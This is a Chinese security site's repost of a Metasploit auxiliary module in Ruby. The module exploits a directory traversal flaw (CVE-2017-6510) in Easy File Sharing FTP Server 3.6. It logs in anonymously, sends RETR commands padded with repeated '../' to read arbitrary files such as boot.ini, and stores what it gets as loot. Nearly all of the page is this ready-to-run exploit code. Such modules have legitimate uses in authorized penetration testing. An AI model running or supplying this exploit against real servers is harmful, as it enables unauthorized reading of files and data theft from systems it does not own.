首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Easy File Sharing FTP Server 3.6 Directory Traversal Exploit
来源:metasploit.com 作者:Mohamed 发布时间:2017-04-05  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'msf/core'
  
class MetasploitModule < Msf::Auxiliary
  
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
        This vulnerability allows an attacker to download arbitrary files from the server by crafting
        a RETR command that includes file system traversal strings such as '../'
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'Ahmed Elhady Mohamed'   # @kingasmk ahmed.elhady.mohamed[at]gmail.com
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-6510']
        ],
      'DisclosureDate' => 'Mar 07 2017'
    ))
  
    register_options(
      [
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
        OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
      ], self.class)
  end
  
  def check_host(ip)
    begin
      connect
      if /Easy File Sharing FTP Server/i === banner
        return Exploit::CheckCode::Detected
      end
    ensure
      disconnect
    end
  
    Exploit::CheckCode::Safe
  end
  
  def run_host(target_host)
    begin
      # Login anonymously and open the socket that we'll use for data retrieval.
      connect_login
      sock = data_connect
      if sock.nil?
        error_msg = 'data_connect failed; posssible invalid response'
        print_status(error_msg)
        elog(error_msg)
      else
        file_path = datastore['PATH']
        file = ::File.basename(file_path)
  
        # make RETR request and store server response message...
        retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
        res = send_cmd( ["RETR", retr_cmd])
  
        # read the file data from the socket that we opened
        # dont assume theres still a sock to read from. Per #7582
        if sock.nil?
          error_msg = 'data_connect failed; posssible invalid response'
          print_status(error_msg)
          elog(error_msg)
          return
        else
          # read the file data from the socket that we opened
          response_data = sock.read(1024)
        end
  
        unless response_data
          print_error("#{file_path} not found")
          return
        end
  
        if response_data.length == 0 or ! (res =~ /^150/ )
          print_status("File (#{file_path})from #{peer} is empty...")
          return
        end
  
        # store file data to loot
        loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
        vprint_status("Data returned:\n")
        vprint_line(response_data)
        print_good("Stored #{file_path} to #{loot_file}")
      end
  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      vprint_error(e.message)
      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
    rescue ::Timeout::Error, ::Errno::EPIPE => e
      vprint_error(e.message)
      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
    ensure
      data_disconnect
      disconnect
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·dnaLIMS Admin Module Command E
·BackBox OS - Denial of Service
·dnaLIMS Directory Traversal Ex
·Apache Tomcat 6/7/8/9 - Inform
·Apple macOS/IOS 10.12.2(16C67)
·Bluecoat ASG 6.6/CAS 1.3 - OS
·Bluecoat ASG 6.6/CAS 1.3 - Pri
·Sync Breeze Enterprise 9.5.16
·EyesOfNetwork (EON) 5.1 - SQL
·SolarWinds LEM 6.3.1 - Remote
·macOS Kernel 10.12.2 (16C67) -
·Sync Breeze Enterprise 9.5.16
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved